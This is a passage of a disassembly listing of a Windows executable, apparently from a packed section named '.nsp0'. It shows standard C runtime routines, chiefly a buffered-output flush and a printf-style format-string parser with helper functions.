edx mov dword_462BD4, ecx shr eax, 10h mov dword_462BD0, eax xor esi, esi push esi call sub_415353 pop ecx test eax, eax jnz short loc_414434 push 1Ch call sub_4144E3 pop ecx loc_414434: ; CODE XREF: .nsp0:0041442Aj mov [ebp-4], esi call loc_419375 call near ptr 0AB0000h mov cs:dword_464224, eax call sub_419243 mov dword_462C10, eax call sub_418FF6 loc_414456: ; CODE XREF: .nsp0:0041446Cj call sub_418F3D call sub_413FAA mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call near ptr 0AB0000h jb short loc_414456 jnb short loc_4144BA ; --------------------------------------------------------------------------- dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h dd 9C75FF50h, 71E85656h, 9E0069BBh, 5658E850h, 4589FFFFh dd 38E850A0h, 8BFFFFFBh, 88BEC45h, 4D89098Bh, 0E8515098h dd 48B1h, 8BC35959h, 75FFE865h db 98h, 0E8h ; --------------------------------------------------------------------------- loc_4144BA: ; CODE XREF: .nsp0:0041446Ej sub bh, bl ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_4144BE proc near ; CODE XREF: sub_413222+16p ; sub_418F3D+4Ep ... arg_0 = dword ptr 4 cmp dword_462C18, 1 jnz short loc_4144CC call sub_419600 loc_4144CC: ; CODE XREF: sub_4144BE+7j push [esp+arg_0] call sub_419639 push 0FFh call off_4314A0 pop ecx pop ecx retn sub_4144BE endp ; =============== S U B R O U T I N E ======================================= sub_4144E3 proc near ; CODE XREF: .nsp0:0041442Ep arg_0 = dword ptr 4 cmp dword_462C18, 1 jnz short loc_4144F1 call sub_419600 loc_4144F1: ; CODE XREF: sub_4144E3+7j push [esp+arg_0] call sub_419639 pop ecx push 0FFh call dword_41D108 ; ExitProcess retn sub_4144E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414507 proc near ; CODE XREF: sub_411EEE+46p ; sub_41246A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_414610 test al, 40h jnz loc_414610 test al, 1 jz short loc_41453F and dword ptr [esi+4], 0 test al, 10h jz loc_414610 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41453F: ; CODE XREF: sub_414507+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_414579 cmp esi, offset dword_431BC8 jz short loc_414567 cmp esi, offset dword_431BE8 jnz short loc_414572 loc_414567: ; CODE XREF: sub_414507+56j push ebx call sub_41997D test eax, eax pop ecx jnz short loc_414579 loc_414572: ; CODE XREF: sub_414507+5Ej push esi call sub_419939 pop ecx loc_414579: ; CODE XREF: sub_414507+4Ej ; sub_414507+69j test word ptr [esi+0Ch], 108h push edi jz short loc_4145E6 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_4145A9 push edi push eax push ebx call sub_41978C add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_4145DC ; --------------------------------------------------------------------------- loc_4145A9: ; CODE XREF: sub_414507+90j cmp ebx, 0FFFFFFFFh jz short loc_4145C4 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_463EE0[eax*4] lea eax, [eax+ecx*8] jmp short loc_4145C9 ; --------------------------------------------------------------------------- loc_4145C4: ; CODE XREF: sub_414507+A5j mov eax, offset dword_431B10 loc_4145C9: ; CODE XREF: sub_414507+BBj test byte ptr [eax+4], 20h jz short loc_4145DC push 2 push 0 push ebx call sub_41844F add esp, 0Ch loc_4145DC: ; CODE XREF: sub_414507+A0j ; sub_414507+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_4145FA ; --------------------------------------------------------------------------- loc_4145E6: ; CODE XREF: sub_414507+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41978C add esp, 0Ch mov [ebp+arg_4], eax loc_4145FA: ; CODE XREF: sub_414507+DDj cmp [ebp+arg_4], edi pop edi jz short loc_414606 or dword ptr [esi+0Ch], 20h jmp short loc_414615 ; --------------------------------------------------------------------------- loc_414606: ; CODE XREF: sub_414507+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_414618 ; --------------------------------------------------------------------------- loc_414610: ; CODE XREF: sub_414507+10j ; sub_414507+18j ... or al, 20h mov [esi+0Ch], eax loc_414615: ; CODE XREF: sub_414507+FDj or eax, 0FFFFFFFFh loc_414618: ; CODE XREF: sub_414507+107j pop esi pop ebx pop ebp retn sub_414507 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41461C proc near ; CODE XREF: sub_411EEE+29p ; sub_41246A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_414D35 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_414650 ; --------------------------------------------------------------------------- loc_414648: ; CODE XREF: sub_41461C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_414650: ; CODE XREF: sub_41461C+2Aj cmp [ebp+var_14], edx jl loc_414D35 cmp bl, 20h jl short loc_414671 cmp bl, 78h jg short loc_414671 movsx eax, bl mov al, [eax+41D65Ch] and eax, 0Fh jmp short loc_414673 ; --------------------------------------------------------------------------- loc_414671: ; CODE XREF: sub_41461C+40j ; sub_41461C+45j xor eax, eax loc_414673: ; CODE XREF: sub_41461C+53j movsx eax, byte_41D67C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_414D24 ; default jmp off_414D3D[eax*4] ; switch jump loc_414691: ; DATA XREF: .nsp0:off_414D3Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041468A case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4146AC: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do movsx eax, bl ; jumptable 0041468A case 2 sub eax, 20h jz short loc_4146EF sub eax, 3 jz short loc_4146E6 sub eax, 8 jz short loc_4146DD dec eax dec eax jz short loc_4146D4 sub eax, 3 jnz loc_414D24 ; default or [ebp+var_4], 8 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4146D4: ; CODE XREF: sub_41461C+A4j or [ebp+var_4], 4 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4146DD: ; CODE XREF: sub_41461C+A0j or [ebp+var_4], 1 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4146E6: ; CODE XREF: sub_41461C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4146EF: ; CODE XREF: sub_41461C+96j or [ebp+var_4], 2 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4146F8: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do cmp bl, 2Ah ; jumptable 0041468A case 3 jnz short loc_414720 lea eax, [ebp+arg_8] push eax call sub_414DFB test eax, eax pop ecx mov [ebp+var_20], eax jge loc_414D24 ; default or [ebp+var_4], 4 neg eax loc_414718: ; CODE XREF: sub_41461C+111j mov [ebp+var_20], eax jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_414720: ; CODE XREF: sub_41461C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_414718 ; --------------------------------------------------------------------------- loc_41472F: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do mov [ebp+var_10], edx ; jumptable 0041468A case 4 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_414737: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do cmp bl, 2Ah ; jumptable 0041468A case 5 jnz short loc_41475A lea eax, [ebp+arg_8] push eax call sub_414DFB test eax, eax pop ecx mov [ebp+var_10], eax jge loc_414D24 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_41475A: ; CODE XREF: sub_41461C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_41476C: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do cmp bl, 49h ; jumptable 0041468A case 6 jz short loc_41479F cmp bl, 68h jz short loc_414796 cmp bl, 6Ch jz short loc_41478D cmp bl, 77h jnz loc_414D24 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_41478D: ; CODE XREF: sub_41461C+15Dj or [ebp+var_4], 10h jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_414796: ; CODE XREF: sub_41461C+158j or [ebp+var_4], 20h jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_41479F: ; CODE XREF: sub_41461C+153j cmp byte ptr [edi], 36h jnz short loc_4147B8 cmp byte ptr [edi+1], 34h jnz short loc_4147B8 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4147B8: ; CODE XREF: sub_41461C+186j ; sub_41461C+18Cj mov [ebp+var_30], edx loc_4147BB: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do mov ecx, off_4314B0 ; jumptable 0041468A case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_4147E7 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_414D5D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_4147E7: ; CODE XREF: sub_41461C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_414D5D add esp, 0Ch jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_4147FF: ; CODE XREF: sub_41461C+6Ej ; DATA XREF: .nsp0:off_414D3Do movsx eax, bl ; jumptable 0041468A case 7 cmp eax, 67h jg loc_414A27 cmp eax, 65h jge loc_4148AA cmp eax, 58h jg loc_414908 jz loc_414A9B sub eax, 43h jz loc_4148CB dec eax dec eax jz short loc_4148A0 dec eax dec eax jz short loc_4148A0 sub eax, 0Ch jnz loc_414C26 test word ptr [ebp+var_4], 830h jnz short loc_414849 or byte ptr [ebp+var_4+1], 8 loc_414849: ; CODE XREF: sub_41461C+227j ; sub_41461C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_414856 mov esi, 7FFFFFFFh loc_414856: ; CODE XREF: sub_41461C+233j lea eax, [ebp+arg_8] push eax call sub_414DFB test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_414A6F test ecx, ecx jnz short loc_41487E mov ecx, off_4314AC mov [ebp+var_8], ecx loc_41487E: ; CODE XREF: sub_41461C+257j mov [ebp+var_24], 1 mov eax, ecx loc_414887: ; CODE XREF: sub_41461C+282j mov edx, esi dec esi test edx, edx jz loc_414A66 cmp word ptr [eax], 0 jz loc_414A66 inc eax inc eax jmp short loc_414887 ; --------------------------------------------------------------------------- loc_4148A0: ; CODE XREF: sub_41461C+212j ; sub_41461C+216j mov [ebp+var_34], 1 add bl, 20h loc_4148AA: ; CODE XREF: sub_41461C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41498E mov [ebp+var_10], 6 jmp loc_41499C ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_41461C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4148D7 or byte ptr [ebp+var_4+1], 8 loc_4148D7: ; CODE XREF: sub_41461C+2B5j ; sub_41461C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41491E call sub_414E18 push eax lea eax, [ebp+var_248] push eax call sub_419A5C add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_414931 mov [ebp+var_28], 1 jmp short loc_414931 ; --------------------------------------------------------------------------- loc_414908: ; CODE XREF: sub_41461C+1FBj sub eax, 5Ah jz short loc_41493F sub eax, 9 jz short loc_4148D7 dec eax jz loc_414B01 jmp loc_414C26 ; --------------------------------------------------------------------------- loc_41491E: ; CODE XREF: sub_41461C+2C5j call sub_414DFB pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_414931: ; CODE XREF: sub_41461C+2E1j ; sub_41461C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_414C26 ; --------------------------------------------------------------------------- loc_41493F: ; CODE XREF: sub_41461C+2EFj lea eax, [ebp+arg_8] push eax call sub_414DFB test eax, eax pop ecx jz short loc_414980 mov ecx, [eax+4] test ecx, ecx jz short loc_414980 test byte ptr [ebp+var_4+1], 8 jz short loc_414971 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_414C26 ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_41461C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_414C23 ; --------------------------------------------------------------------------- loc_414980: ; CODE XREF: sub_41461C+32Fj ; sub_41461C+336j mov eax, off_4314A8 mov [ebp+var_8], eax push eax jmp loc_414A1C ; --------------------------------------------------------------------------- loc_41498E: ; CODE XREF: sub_41461C+29Dj jnz short loc_41499C cmp bl, 67h jnz short loc_41499C mov [ebp+var_10], 1 loc_41499C: ; CODE XREF: sub_41461C+2AAj ; sub_41461C:loc_41498Ej ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_4317E8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_4149EE cmp [ebp+var_10], 0 jnz short loc_4149EE lea eax, [ebp+var_248] push eax call off_4317F4 pop ecx loc_4149EE: ; CODE XREF: sub_41461C+3BCj ; sub_41461C+3C2j cmp bl, 67h jnz short loc_414A05 test esi, esi jnz short loc_414A05 lea eax, [ebp+var_248] push eax call off_4317EC pop ecx loc_414A05: ; CODE XREF: sub_41461C+3D5j ; sub_41461C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_414A1B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_414A1B: ; CODE XREF: sub_41461C+3F0j push edi loc_414A1C: ; CODE XREF: sub_41461C+36Dj call sub_4126F0 pop ecx jmp loc_414C23 ; --------------------------------------------------------------------------- loc_414A27: ; CODE XREF: sub_41461C+1E9j sub eax, 69h jz loc_414B01 sub eax, 5 jz loc_414AD7 dec eax jz loc_414AC4 dec eax jz short loc_414A94 sub eax, 3 jz loc_414849 dec eax dec eax jz loc_414B05 sub eax, 3 jnz loc_414C26 mov [ebp+var_2C], 27h jmp short loc_414AA2 ; --------------------------------------------------------------------------- loc_414A66: ; CODE XREF: sub_41461C+270j ; sub_41461C+27Aj sub eax, ecx sar eax, 1 jmp loc_414C23 ; --------------------------------------------------------------------------- loc_414A6F: ; CODE XREF: sub_41461C+24Fj test ecx, ecx jnz short loc_414A7C mov ecx, off_4314A8 mov [ebp+var_8], ecx loc_414A7C: ; CODE XREF: sub_41461C+455j mov eax, ecx loc_414A7E: ; CODE XREF: sub_41461C+46Fj mov edx, esi dec esi test edx, edx jz short loc_414A8D cmp byte ptr [eax], 0 jz short loc_414A8D inc eax jmp short loc_414A7E ; --------------------------------------------------------------------------- loc_414A8D: ; CODE XREF: sub_41461C+467j ; sub_41461C+46Cj sub eax, ecx jmp loc_414C23 ; --------------------------------------------------------------------------- loc_414A94: ; CODE XREF: sub_41461C+425j mov [ebp+var_10], 8 loc_414A9B: ; CODE XREF: sub_41461C+201j mov [ebp+var_2C], 7 loc_414AA2: ; CODE XREF: sub_41461C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_414B0C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_414B0C ; --------------------------------------------------------------------------- loc_414AC4: ; CODE XREF: sub_41461C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_414B0C or byte ptr [ebp+var_4+1], 2 jmp short loc_414B0C ; --------------------------------------------------------------------------- loc_414AD7: ; CODE XREF: sub_41461C+417j lea eax, [ebp+arg_8] push eax call sub_414DFB test byte ptr [ebp+var_4], 20h pop ecx jz short loc_414AF0 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_414AF5 ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: sub_41461C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_414AF5: ; CODE XREF: sub_41461C+4D2j mov [ebp+var_28], 1 jmp loc_414D24 ; default ; --------------------------------------------------------------------------- loc_414B01: ; CODE XREF: sub_41461C+2F7j ; sub_41461C+40Ej or [ebp+var_4], 40h loc_414B05: ; CODE XREF: sub_41461C+432j mov [ebp+var_C], 0Ah loc_414B0C: ; CODE XREF: sub_41461C+491j ; sub_41461C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_414B1E lea eax, [ebp+arg_8] push eax call sub_414E08 pop ecx jmp short loc_414B5F ; --------------------------------------------------------------------------- loc_414B1E: ; CODE XREF: sub_41461C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_414B45 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_414B3A call sub_414DFB pop ecx movsx eax, ax loc_414B37: ; CODE XREF: sub_41461C+527j ; sub_41461C+539j cdq jmp short loc_414B5F ; --------------------------------------------------------------------------- loc_414B3A: ; CODE XREF: sub_41461C+510j call sub_414DFB pop ecx movzx eax, ax jmp short loc_414B37 ; --------------------------------------------------------------------------- loc_414B45: ; CODE XREF: sub_41461C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_414B57 call sub_414DFB pop ecx jmp short loc_414B37 ; --------------------------------------------------------------------------- loc_414B57: ; CODE XREF: sub_41461C+531j call sub_414DFB pop ecx xor edx, edx loc_414B5F: ; CODE XREF: sub_41461C+500j ; sub_41461C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_414B80 test edx, edx jg short loc_414B80 jl short loc_414B6F test eax, eax jnb short loc_414B80 loc_414B6F: ; CODE XREF: sub_41461C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_414B84 ; --------------------------------------------------------------------------- loc_414B80: ; CODE XREF: sub_41461C+547j ; sub_41461C+54Bj ... mov esi, eax mov edi, edx loc_414B84: ; CODE XREF: sub_41461C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_414B8D and edi, 0 loc_414B8D: ; CODE XREF: sub_41461C+56Cj cmp [ebp+var_10], 0 jge short loc_414B9C mov [ebp+var_10], 1 jmp short loc_414BA0 ; --------------------------------------------------------------------------- loc_414B9C: ; CODE XREF: sub_41461C+575j and [ebp+var_4], 0FFFFFFF7h loc_414BA0: ; CODE XREF: sub_41461C+57Ej mov eax, esi or eax, edi jnz short loc_414BAA and [ebp+var_1C], 0 loc_414BAA: ; CODE XREF: sub_41461C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_414BB0: ; CODE XREF: sub_41461C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_414BC0 mov eax, esi or eax, edi jz short loc_414BFB loc_414BC0: ; CODE XREF: sub_41461C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_413B10 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_413B90 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_414BF1 add ebx, [ebp+var_2C] loc_414BF1: ; CODE XREF: sub_41461C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_414BB0 ; --------------------------------------------------------------------------- loc_414BFB: ; CODE XREF: sub_41461C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_414C26 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_414C19 test eax, eax jnz short loc_414C26 loc_414C19: ; CODE XREF: sub_41461C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_414C23: ; CODE XREF: sub_41461C+35Fj ; sub_41461C+406j ... mov [ebp+var_C], eax loc_414C26: ; CODE XREF: sub_41461C+21Bj ; sub_41461C+2FDj ... cmp [ebp+var_28], 0 jnz loc_414D24 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_414C5E test bh, 1 jz short loc_414C43 mov [ebp+var_16], 2Dh jmp short loc_414C57 ; --------------------------------------------------------------------------- loc_414C43: ; CODE XREF: sub_41461C+61Fj test bl, 1 jz short loc_414C4E mov [ebp+var_16], 2Bh jmp short loc_414C57 ; --------------------------------------------------------------------------- loc_414C4E: ; CODE XREF: sub_41461C+62Aj test bl, 2 jz short loc_414C5E mov [ebp+var_16], 20h loc_414C57: ; CODE XREF: sub_41461C+625j ; sub_41461C+630j mov [ebp+var_1C], 1 loc_414C5E: ; CODE XREF: sub_41461C+61Aj ; sub_41461C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_414C7E lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_414D92 add esp, 10h loc_414C7E: ; CODE XREF: sub_41461C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_414DC3 add esp, 10h test bl, 8 jz short loc_414CB0 test bl, 4 jnz short loc_414CB0 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_414D92 add esp, 10h loc_414CB0: ; CODE XREF: sub_41461C+67Bj ; sub_41461C+680j cmp [ebp+var_24], 0 jz short loc_414CF7 cmp [ebp+var_C], 0 jle short loc_414CF7 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_414CC5: ; CODE XREF: sub_41461C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_419A5C pop ecx test eax, eax pop ecx jle short loc_414D0C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_414DC3 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_414CC5 jmp short loc_414D0C ; --------------------------------------------------------------------------- loc_414CF7: ; CODE XREF: sub_41461C+698j ; sub_41461C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_414DC3 add esp, 10h loc_414D0C: ; CODE XREF: sub_41461C+6BCj ; sub_41461C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_414D24 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_414D92 add esp, 10h loc_414D24: ; CODE XREF: sub_41461C+68j ; sub_41461C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_414648 loc_414D35: ; CODE XREF: sub_41461C+1Fj ; sub_41461C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41461C endp ; --------------------------------------------------------------------------- off_414D3D dd offset loc_4147BB ; DATA XREF: sub_41461C+6Er dd offset loc_414691 ; jump table for switch statement dd offset loc_4146AC dd offset loc_4146F8 dd offset loc_41472F dd offset loc_414737 dd offset loc_41476C dd offset loc_4147FF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414D5D proc near ; CODE XREF: sub_41461C+1BDp ; sub_41461C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_414D76 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_414D81 ; --------------------------------------------------------------------------- loc_414D76: ; CODE XREF: sub_414D5D+9j push ecx push [ebp+arg_0] call sub_414507 pop ecx pop ecx loc_414D81: ; CODE XREF: sub_414D5D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_414D8E or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_414D8E: ; CODE XREF: sub_414D5D+2Aj inc dword ptr [eax] pop ebp retn sub_414D5D endp ; =============== S U B R O U T I N E ======================================= sub_414D92 proc near ; CODE XREF: sub_41461C+65Ap ; sub_41461C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_414DC0 mov esi, [esp+8+arg_C] loc_414DA3: ; CODE XREF: sub_414D92+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_414D5D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_414DC0 mov eax, edi dec edi test eax, eax jg short loc_414DA3 loc_414DC0: ; CODE XREF: sub_414D92+Bj ; sub_414D92+25j pop edi pop esi retn sub_414D92 endp ; =============== S U B R O U T I N E ======================================= sub_414DC3 proc near ; CODE XREF: sub_41461C+670p ; sub_41461C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_414DF7 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_414DD9: ; CODE XREF: sub_414DC3+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_414D5D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_414DF7 mov eax, ebx dec ebx test eax, eax jg short loc_414DD9 loc_414DF7: ; CODE XREF: sub_414DC3+Cj ; sub_414DC3+2Bj pop edi pop esi pop ebx retn sub_414DC3 endp ; =============== S U B R O U T I N E ======================================= sub_414DFB proc near ; CODE XREF: sub_41461C+E5p ; sub_41461C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_414DFB endp ; =============== S U B R O U T I N E ======================================= sub_414E08 proc near ; CODE XREF: sub_41461C+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_414E08 endp ; =============== S U B R O U T I N E ======================================= sub_414E18 proc near ; CODE XREF: sub_41461C+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_414E18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E26 proc near ; CODE XREF: sub_4123D4+17p ; sub_4123D4+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_414E44 mov ecx, off_4314B0 movzx eax, word ptr [ecx+eax*2] jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414E44: ; CODE XREF: sub_414E26+10j mov ecx, eax push esi mov esi, off_4314B0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_414E69 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_414E72 ; --------------------------------------------------------------------------- loc_414E69: ; CODE XREF: sub_414E26+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_414E72: ; CODE XREF: 